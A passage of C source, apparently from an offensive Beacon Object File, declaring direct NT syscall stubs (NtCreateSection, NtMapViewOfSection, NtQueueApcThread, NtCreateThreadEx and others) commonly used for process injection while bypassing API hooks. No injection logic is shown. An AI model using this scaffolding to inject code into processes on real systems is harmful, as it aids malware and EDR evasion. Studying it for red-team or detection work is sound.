IN PVOID ApcContext,
|
||||
IN PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN ULONG Reserved);
|
||||
|
||||
EXTERN_C NTSTATUS NtCreateSection(
|
||||
OUT PHANDLE SectionHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
|
||||
IN PLARGE_INTEGER MaximumSize OPTIONAL,
|
||||
IN ULONG SectionPageProtection,
|
||||
IN ULONG AllocationAttributes,
|
||||
IN HANDLE FileHandle OPTIONAL) asm("NtCreateSection");
|
||||
|
||||
EXTERN_C NTSTATUS NtQueueApcThread(
|
||||
IN HANDLE ThreadHandle,
|
||||
IN PKNORMAL_ROUTINE ApcRoutine,
|
||||
IN PVOID ApcArgument1 OPTIONAL,
|
||||
IN PVOID ApcArgument2 OPTIONAL,
|
||||
IN PVOID ApcArgument3 OPTIONAL) asm("NtQueueApcThread");
|
||||
|
||||
EXTERN_C NTSTATUS NtOpenProcess(
|
||||
OUT PHANDLE ProcessHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
IN PCLIENT_ID ClientId OPTIONAL) asm("NtOpenProcess");
|
||||
|
||||
EXTERN_C NTSTATUS NtAlertThread(
|
||||
IN HANDLE ThreadHandle) asm("NtAlertThread");
|
||||
|
||||
EXTERN_C NTSTATUS NtUnmapViewOfSection(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID BaseAddress) asm("NtUnmapViewOfSection");
|
||||
|
||||
EXTERN_C NTSTATUS NtMapViewOfSection(
|
||||
IN HANDLE SectionHandle,
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID BaseAddress,
|
||||
IN ULONG ZeroBits,
|
||||
IN SIZE_T CommitSize,
|
||||
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
|
||||
IN OUT PSIZE_T ViewSize,
|
||||
IN SECTION_INHERIT InheritDisposition,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Win32Protect) asm("NtMapViewOfSection");
|
||||
|
||||
EXTERN_C NTSTATUS NtResumeThread(
|
||||
IN HANDLE ThreadHandle,
|
||||
IN OUT PULONG PreviousSuspendCount OPTIONAL) asm("NtResumeThread");
|
||||
|
||||
EXTERN_C NTSTATUS NtCreateThreadEx(
|
||||
OUT PHANDLE ThreadHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID StartRoutine,
|
||||
IN PVOID Argument OPTIONAL,
|
||||
IN ULONG CreateFlags,
|
||||
IN SIZE_T ZeroBits,
|
||||
IN SIZE_T StackSize,
|
||||
IN SIZE_T MaximumStackSize,
|
||||
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL) asm("NtCreateThreadEx");
|
||||
|
||||
EXTERN_C NTSTATUS NtClose(
|
||||
IN HANDLE Handle) asm("NtClose");
|
||||
|
||||
#endif
|
||||
|
||||
void mymemcopy(char * dst, const char * src, int size) {
|
||||
int x;
|
||||
for (x = 0; x < size; x++) {
|
||||
*dst = *src;
|
||||
dst++;
|
||||
src++;
|
||||
}
|
||||
}
|
||||
|
||||
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID);
|
||||
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$IsWow64Process(HANDLE hProcess, PBOOL Wow64Process);
|
||||
Reference in New Issue
Block a user